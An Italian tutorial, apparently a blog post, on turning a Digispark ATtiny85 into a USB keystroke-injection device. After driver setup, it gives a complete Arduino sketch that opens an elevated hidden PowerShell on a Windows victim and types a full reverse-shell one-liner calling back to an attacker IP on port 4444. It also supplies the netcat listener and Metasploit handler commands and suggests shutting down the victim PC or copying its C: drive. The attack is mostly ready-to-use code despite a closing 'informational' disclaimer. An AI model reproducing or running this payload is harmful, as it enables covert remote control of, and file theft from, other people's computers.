Installazione Drivers
Partiamo dalla base, la Digispark ATtiny85 è un microcontrollore della famiglia AVR, progettato per scrivere programmi non troppo complessi dato la sua "scarsa" memoria flash, circa 8KB, che permette di scrivere all'incirca 800 righe di codice.
Questo microcontrollore può essere programmato con l'IDE Arduino ma prima bisogna installare tutti i drivers necessari, di seguito un esempio per scaricarli su Windows.
Per scaricare i drivers preliminari dovrete recarvi a questo link, dopo aver scaricato la zip estraete i file ed eseguite l'exe (Install Drivers.exe per OS a 32bit, DPInst64.exe, per OS a 64bit).
Arrivati a questo punto avete installato con successo i primi drivers!
Successivamente avviate l'IDE Arduino (qui trovate l'ultima versione), cliccate in alto su file > impostazioni e su URL aggiuntive aggiungete questa qui: http://digistump.com/package_digistump_index.json
.
Fatti questi passaggi possiamo andare su tools > boards > gestore schede, per cercare "digistump" e installare il primo driver:
Ora se andate su tools > boards dovreste riuscire a vedere "Digistump AVR Boards", in particolare per la ATtiny85:
N.B. quando scrivete un codice dovete prima fare l'upload e solo quando ve lo chiede la macchina inserite il microcontrollore altrimenti vi restituirà un messaggio di errore.
Reverse Shell
Lato teorico
Il reverse shell può essere inteso anche come attacco hacking usato principalmente per ottenere l'accesso a un sistema remoto attraverso una connessione. Consente a un malintenzionato o a un amministratore di sistema di avere accesso ad una macchina e di eseguire comandi come se fosse fisicamente presente sul sistema.
Nel nostro caso ci mettiamo in ascolto sulla porta 4444 e nel mentre con Metasploit creiamo un tunnel verso l'IP privato della vittima in questione.
Automazione Digispark ATtiny85:
La chiave che ci permette di eseguire questo attacco in poco meno di 5 secondi è proprio la Digispark ATtiny85 con vari comandi Powershell.
Quindi il codice è strutturato in questo modo:
#include "DigiKeyboard.h"
: libreria usata per simulare una tastiera.
#define KEY_TAB 0x2b
: costante KEY_TAB con valore esadecimale 0x2b che è il tasto "Tab" sulla tastiera.
void setup()
: funzione di setup che viene eseguita una volta quando il dispositivo viene inserito nel PC. Configura il pin 1 come output per controllare il led.
void loop()
: viene eseguita in continuazione una volta che il setup è stato completato.
-DigiKeyboard.update()
: update tastiera.
DigiKeyboard.delay(3000)
: ritardi aggiuntivi modificabili in base alle proprie esigenze (esempio velocità del PC ecc...).
Questo significa che il codice apre il "Run" dialog premendo il tasto Windows (MOD_GUI_LEFT) e "R", scrive il comando "taskmgr" per avviare Gestione Attività, attiva i privilegi amministratore, apre PowerShell e esegue i comandi sopra indicati.
#include "DigiKeyboard.h"
#define KEY_TAB 0x2b
void setup() {
pinMode(1, OUTPUT); // led
}
void loop() {
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.println("taskmgr");
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT);
DigiKeyboard.sendKeyStroke(KEY_N);
DigiKeyboard.delay(2000);
DigiKeyboard.print("powershell -noexit -command \"mode con cols=18 lines=1\"");
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.sendKeyStroke(KEY_SPACE);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.println("taskkill /IM \"taskmgr.exe\" /F ");
DigiKeyboard.delay(2000);
DigiKeyboard.println("cmd");
DigiKeyboard.delay(2000);
DigiKeyboard.println(F("powershell -windowstyle hidden -command \"$client = New-Object System.Net.Sockets.TCPClient('<qui IP privato>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"")); //comando connessione TCP
DigiKeyboard.delay(5000);
digitalWrite(1, HIGH); // attivazione led
DigiKeyboard.delay(90000);
digitalWrite(1, LOW);
DigiKeyboard.delay(5000);
}
Linux reverse shell:
Nella macchina con Linux prima di inserire la chiavetta nel PC della vittima dobbiamo avviare un listener nella porta 4444 e nel mentre con un'altra shell configurare Metasploit.
In questo caso io ho utilizzato come OS ParrotOS Security quindi avevo il tool già installato.
Vi lascio qui il sito ufficiale dove ci sono tutte le varie procedure per installarlo per ogni OS.
Avviamo il listener:
nc -lvnp 4444
Apriamo un'altra shell e creiamo un tunnel con Metasploit:
msfconsole -x "use multi/handler;set payload windows/x64/meterpreter/reverse_tcp; set lhost <qui IP privato>; set lport 4444; set ExitOnSession false; exploit -j"
Quando inseriamo la chiavetta nell'altro PC nel giro di 5 secondi dovreste vedere il nome del PC che si è connesso, nel mio caso:
┌──(parrot㉿parrot)-[/]
└─$ nc -nlvp 4444
DESKTOP-76P0HQN>
Ora possiamo digitare dei comandi da terminale e verranno automaticamente eseguiti nel PC della vittima, ad esempio in questo video ho digitato "shutdown /s":
Il PC era molto lento quindi ho dovuto aumentare i secondi di ritardo nel codice, chiaramente questo era solo un esempio, volendo potete trasferire tutti i file dal C ad una ipotetica chiavetta E con il comando "robocopy".
La guida è stata diffusa a scopo informativo!😊